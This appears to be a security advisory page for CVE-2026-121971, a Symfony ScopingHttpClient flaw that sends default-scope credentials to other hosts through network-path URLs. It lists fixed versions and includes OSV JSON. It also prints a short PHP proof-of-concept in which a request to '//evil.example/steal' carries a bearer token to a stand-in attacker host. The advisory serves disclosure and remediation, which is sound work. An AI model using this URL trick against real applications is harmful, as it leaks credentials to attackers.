CVE-2026-121971: Symfony ScopingHttpClient Sends The Credentials Of Vulnerability

HIGH
Advisory Identifier: GHSA-gq53-v8w2-gjhj
CWE-522 CWE-200
Published
Advisory Summary

CVE-2026-121971 is a HIGH scopinghttpclient sends the credentials of vulnerability (CWE-522: Insufficiently Protected Credentials) affecting Symfony libraries in the Packagist ecosystem. The issue involves scopinghttpclient sends the credentials of its default scope to other origins through network-path references. Remediation is available by upgrading affected packages to version 5.4.56, 6.4.50, 7.4.23, 8.1.11.

CVE-2026-121971 at a Glance

CVE Identifier CVE-2026-121971
GHSA Identifier GHSA-gq53-v8w2-gjhj
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-522: Insufficiently Protected Credentials
Affected Product Symfony
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-121971

To remediate this vulnerability, upgrade all affected Symfony dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

symfony/http-client fixed: 5.4.56
Upgrade symfony/http-client to 5.4.56
symfony/http-client fixed: 6.4.50
Upgrade symfony/http-client to 6.4.50
symfony/http-client fixed: 7.4.23
Upgrade symfony/http-client to 7.4.23
symfony/http-client fixed: 8.1.11
Upgrade symfony/http-client to 8.1.11
symfony/symfony fixed: 5.4.56
Upgrade symfony/symfony to 5.4.56
symfony/symfony fixed: 6.4.50
Upgrade symfony/symfony to 6.4.50
symfony/symfony fixed: 7.4.23
Upgrade symfony/symfony to 7.4.23
symfony/symfony fixed: 8.1.11
Upgrade symfony/symfony to 8.1.11
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for symfony/http-client

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-121971, inspect your project dependencies for Symfony:

inspect dependencies for symfony/http-client

Analyze the terminal output to locate any version of Symfony in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.4.56), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-522: Insufficiently Protected Credentials, where the product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. In Symfony, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Description `ScopingHttpClient` applies the options of a scope, such as `auth_bearer`, `auth_basic`, `headers` or `local_cert`, to the URLs that match that scope only. A relative URL is resolved against the `base_uri` of the default scope, and the options of that scope were merged before the URL was resolved. A network-path reference such as `//evil.example/steal` carries its own host: it resolves to a URL outside of the base URI's origin, which no scope matches, yet it kept the merged options, so the request was sent to that host with the credentials of the default scope. The absolute spelling of the same URL, `https://evil.example/steal`, gets none of them. ```php $client = ScopingHttpClient::forBaseUri(HttpClient::create(), 'https://api.example.com/', [ 'auth_bearer' => 'secret', ]); $client->request('GET', '//evil.example/steal'); // sent to evil.example with "Authorization: Bearer secret" ``` This is how `HttpClient::createForBaseUri()` builds its client, and how the scoped clients configured with a `base_uri` under `framework.http_client.scoped_clients` are built. An application is exposed when an attacker controls the beginning of a URL passed to such a client, for example a path taken from user input or a URL taken from a remote API response. The same happened for another port or a user-info part on the same host, and when the resolved URL matched another scope, the credentials of the default scope were sent instead of that scope's own. ### Resolution After resolving a relative URL against the base URI of the default scope, `ScopingHttpClient` now compares the scheme and authority of the result with those of the base URI, parsed the way the request is sent. When they differ, the options of the default scope are dropped and the URL is matched against the scopes as if it had been passed in its absolute form. Relative URLs that stay on the scheme and authority of the base URI keep the options, including those that resolve outside of its path. The user-info part counts as part of the authority: `//user@api.example.com/` does not receive the options of the default scope anymore. The patches for this issue are available [here](https://github.com/symfony/symfony/commit/64c34e85bd03b3f8a735d8e1af393659dda91d7c) for branch 5.4 (and forward-ported to 6.4, 7.4, 8.1 and 8.2). ### Credits Symfony would like to thank [Thomas Chauchefoin](https://github.com/thomas-chauchefoin-tob) from Trail of Bits for reporting the issue and Nicolas Grekas for providing the fix. Symfony would also like to thank [Bruno Dias](https://github.com/cx-bruno-dias) and [Catarina Amorim](https://github.com/cx-catarina-amorim) from Checkmarx for their help getting a CVE assigned.

CVE-2026-121971 Affected Symfony Versions

8 component(s)
Fixed Versions:
5.4.566.4.507.4.238.1.11
Product / Package Ecosystem Affected Versions Fixed Version
symfony/http-client
Packagist
< 5.4.56
5.4.56
symfony/http-client
Packagist
≥ 6.0.0
< 6.4.50
6.4.50
symfony/http-client
Packagist
≥ 7.0.0
< 7.4.23
7.4.23
symfony/http-client
Packagist
≥ 8.0.0
< 8.1.11
8.1.11
symfony/symfony
Packagist
< 5.4.56
5.4.56
symfony/symfony
Packagist
≥ 6.0.0
< 6.4.50
6.4.50
symfony/symfony
Packagist
≥ 7.0.0
< 7.4.23
7.4.23
symfony/symfony
Packagist
≥ 8.0.0
< 8.1.11
8.1.11

References

Frequently Asked Questions

What is CVE-2026-121971?
CVE-2026-121971 is a security vulnerability in Symfony involving ScopingHttpClient Sends the Credentials of Its Default Scope to Other Origins Through Network-Path References under CWE-522: Insufficiently Protected Credentials.
Which Symfony versions are affected?
Affected versions include releases prior to 5.4.56, 6.4.50, 7.4.23, 8.1.11 across affected packages: symfony/http-client, symfony/symfony.
What version fixes CVE-2026-121971?
Upgrading to 5.4.56, 6.4.50, 7.4.23, 8.1.11 (or the latest patched release for your respective branch) resolves the vulnerability.
Is symfony/http-client affected?
Yes, symfony/http-client is affected in releases prior to 5.4.56, 6.4.50, 7.4.23, 8.1.11. Upgrade your dependency to 5.4.56, 6.4.50, 7.4.23, 8.1.11 or later.
Is symfony/symfony affected?
Yes, symfony/symfony is affected in releases prior to 5.4.56, 6.4.50, 7.4.23, 8.1.11. Upgrade your dependency to 5.4.56, 6.4.50, 7.4.23, 8.1.11 or later.
What CWE is associated with CVE-2026-121971?
CVE-2026-121971 is classified under CWE-522: Insufficiently Protected Credentials (The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.).
How can I check Packagist dependencies for CVE-2026-121971?
Run the dependency tree command: 'inspect dependencies for symfony/http-client'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gq53-v8w2-gjhj",
  "modified" : "2026-12-01T21:25:28Z",
  "published" : "2026-12-01T21:25:28Z",
  "aliases" : [ "CVE-2026-121971" ],
  "summary" : "Symfony: ScopingHttpClient Sends the Credentials of Its Default Scope to Other Origins Through Network-Path References",
  "details" : "### Description\n\n`ScopingHttpClient` applies the options of a scope, such as `auth_bearer`, `auth_basic`, `headers` or `local_cert`, to the URLs that match that scope only. A relative URL is resolved against the `base_uri` of the default scope, and the options of that scope were merged before the URL was resolved. A network-path reference such as `//evil.example/steal` carries its own host: it resolves to a URL outside of the base URI's origin, which no scope matches, yet it kept the merged options, so the request was sent to that host with the credentials of the default scope. The absolute spelling of the same URL, `https://evil.example/steal`, gets none of them.\n\n```php\n$client = ScopingHttpClient::forBaseUri(HttpClient::create(), 'https://api.example.com/', [\n    'auth_bearer' => 'secret',\n]);\n\n$client->request('GET', '//evil.example/steal'); // sent to evil.example with \"Authorization: Bearer secret\"\n```\n\nThis is how `HttpClient::createForBaseUri()` builds its client, and how the scoped clients configured with a `base_uri` under `framework.http_client.scoped_clients` are built. An application is exposed when an attacker controls the beginning of a URL passed to such a client, for example a path taken from user input or a URL taken from a remote API response. The same happened for another port or a user-info part on the same host, and when the resolved URL matched another scope, the credentials of the default scope were sent instead of that scope's own.\n\n### Resolution\n\nAfter resolving a relative URL against the base URI of the default scope, `ScopingHttpClient` now compares the scheme and authority of the result with those of the base URI, parsed the way the request is sent. When they differ, the options of the default scope are dropped and the URL is matched against the scopes as if it had been passed in its absolute form. Relative URLs that stay on the scheme and authority of the base URI keep the options, including those that resolve outside of its path.\n\nThe user-info part counts as part of the authority: `//user@api.example.com/` does not receive the options of the default scope anymore.\n\nThe patches for this issue are available [here](https://github.com/symfony/symfony/commit/64c34e85bd03b3f8a735d8e1af393659dda91d7c) for branch 5.4 (and forward-ported to 6.4, 7.4, 8.1 and 8.2).\n\n### Credits\n\nSymfony would like to thank [Thomas Chauchefoin](https://github.com/thomas-chauchefoin-tob) from Trail of Bits for reporting the issue and Nicolas Grekas for providing the fix.\n\nSymfony would also like to thank [Bruno Dias](https://github.com/cx-bruno-dias) and [Catarina Amorim](https://github.com/cx-catarina-amorim) from Checkmarx for their help getting a CVE assigned.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "symfony/http-client"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.4.56"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "symfony/http-client"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "6.0.0"
      }, {
        "fixed" : "6.4.50"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "symfony/http-client"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "7.0.0"
      }, {
        "fixed" : "7.4.23"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "symfony/http-client"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "8.0.0"
      }, {
        "fixed" : "8.1.11"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "symfony/symfony"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.4.56"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "symfony/symfony"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "6.0.0"
      }, {
        "fixed" : "6.4.50"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "symfony/symfony"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "7.0.0"
      }, {
        "fixed" : "7.4.23"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "symfony/symfony"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "8.0.0"
      }, {
        "fixed" : "8.1.11"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/symfony/symfony/security/advisories/GHSA-gq53-v8w2-gjhj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-121971"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/symfony/symfony/commit/64c34e85bd03b3f8a735d8e1af393659dda91d7c"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/http-client/CVE-2026-121971.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-121971.yaml"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/symfony/symfony"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/symfony/symfony/releases/tag/v5.4.56"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/symfony/symfony/releases/tag/v6.4.50"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/symfony/symfony/releases/tag/v7.4.23"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/symfony/symfony/releases/tag/v8.1.11"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-522" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-01T21:25:28Z",
    "nvd_published_at" : null
  }
}